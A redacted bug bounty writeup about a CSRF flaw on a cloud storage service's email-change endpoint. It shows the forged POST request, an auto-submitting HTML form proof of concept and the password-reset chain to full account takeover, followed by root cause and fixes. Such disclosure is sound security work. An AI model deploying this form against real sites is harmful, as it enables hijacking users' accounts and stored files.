July 13, 2026
Account Takeover via CSRF on the Email-Change Endpoint $1,300 Bounty
Redacted writeup. Program and target withheld per disclosure policy
By Gautam Sharma
2 min read
The email change endpoint accepted a cross-site POST with no anti-CSRF protection. A logged in victim who opened an attacker-controlled page had their account email silently changed to one the attacker owned from there, a standard password reset completed a full account takeover. No interaction beyond opening the page, no access to the victim's account required. It was rewarded ~$1,300.
Background
The platform is a cloud storage service — users pay for hosted storage and access their files through the account. It lets users change their account email from settings via a POST to a /settings endpoint. Email is a security-critical field here: it's the identity the password-reset flow trusts, so anything that can change it can pivot to the account itself.
I tested with two of my own accounts one as the attacker, one as the victim so nothing left authorized scope.
The vulnerability
Changing the email issues a request like this:
http
httpPOST /service/settings/
Host: target
Cookie: session=<victim session>
Content-Type: application/x-www-form-urlencoded
new_email=attacker@example.com&change_email=truehttpPOST /service/settings/
Host: target
Cookie: session=<victim session>
Content-Type: application/x-www-form-urlencoded
new_email=attacker@example.com&change_email=trueThe request carried nothing an attacker couldn't predict — no CSRF token, no per-request nonce, nothing tied to the session beyond the cookie itself. And because the session cookie wasn't protected against cross-site use, a request forged from another origin still carried it. That's the whole precondition for CSRF: a state-changing request an attacker can reproduce in full, sent with the victim's session automatically.
Proof of concept
A minimal auto-submitting form is enough:
html
<html>
<body>
<form action="https://target/service/settings/" method="POST">
<input type="hidden" name="new_email" value="attacker@example.com">
<input type="hidden" name="change_email" value="true">
</form>
<script>document.forms[0].submit();</script>
</body>
</html><html>
<body>
<form action="https://target/service/settings/" method="POST">
<input type="hidden" name="new_email" value="attacker@example.com">
<input type="hidden" name="change_email" value="true">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>Hosted anywhere and opened by a victim with an active session, the form submits itself and the account email changes to the attacker's no click, no confirmation, no re-authentication. The new address wasn't verified before the change took effect, which is what makes the next step possible.
From CSRF to takeover
With the account email now pointing at an address the attacker controls, the rest is the built-in reset flow:
- Victim opens the attacker's page → email is changed to
attacker@example.com. - Attacker requests a password reset for the account.
- The reset link lands in the attacker's inbox.
- Attacker sets a new password and owns the account.
Since this is a cloud storage platform, owning the account means access to the victim's paid storage every file they've uploaded.
Root cause
A state-changing, security-sensitive endpoint was protected by nothing but an ambient session cookie. Two independent controls would each have stopped this, and neither was present: an unpredictable CSRF token validated server-side, and a session cookie marked SameSite=Lax/Strict so it isn't sent on cross-site POSTs. On top of that, email change applied immediately with no confirmation step and no verification of the new address so the change was both forgeable and instantly usable for a reset.
Fix:
- Require a CSRF token on every state-changing request and reject those without a valid one.
- Set the session cookie to
SameSite=Laxat minimum; there's no reason this endpoint should accept a cross-site POST. - Treat email change as sensitive: require the current password (or a re-auth/step-up), and verify the new address via a confirmation link before it becomes the account's identity.
Impact
Full account takeover, reachable against any logged-in user who opens a page no credentials, no interaction beyond a page load. And because it's a paid cloud storage platform, takeover means the attacker reaches the victim's stored files directly, not just their account settings.
Reported with a video PoC. Rewarded ~$1,300.
Let's coLet's connect
If this was useful and you want to talk bug bounty, methodology, or real-world testing, connect with me on LinkedIn: https://www.linkedin.com/in/gautam-sharma177/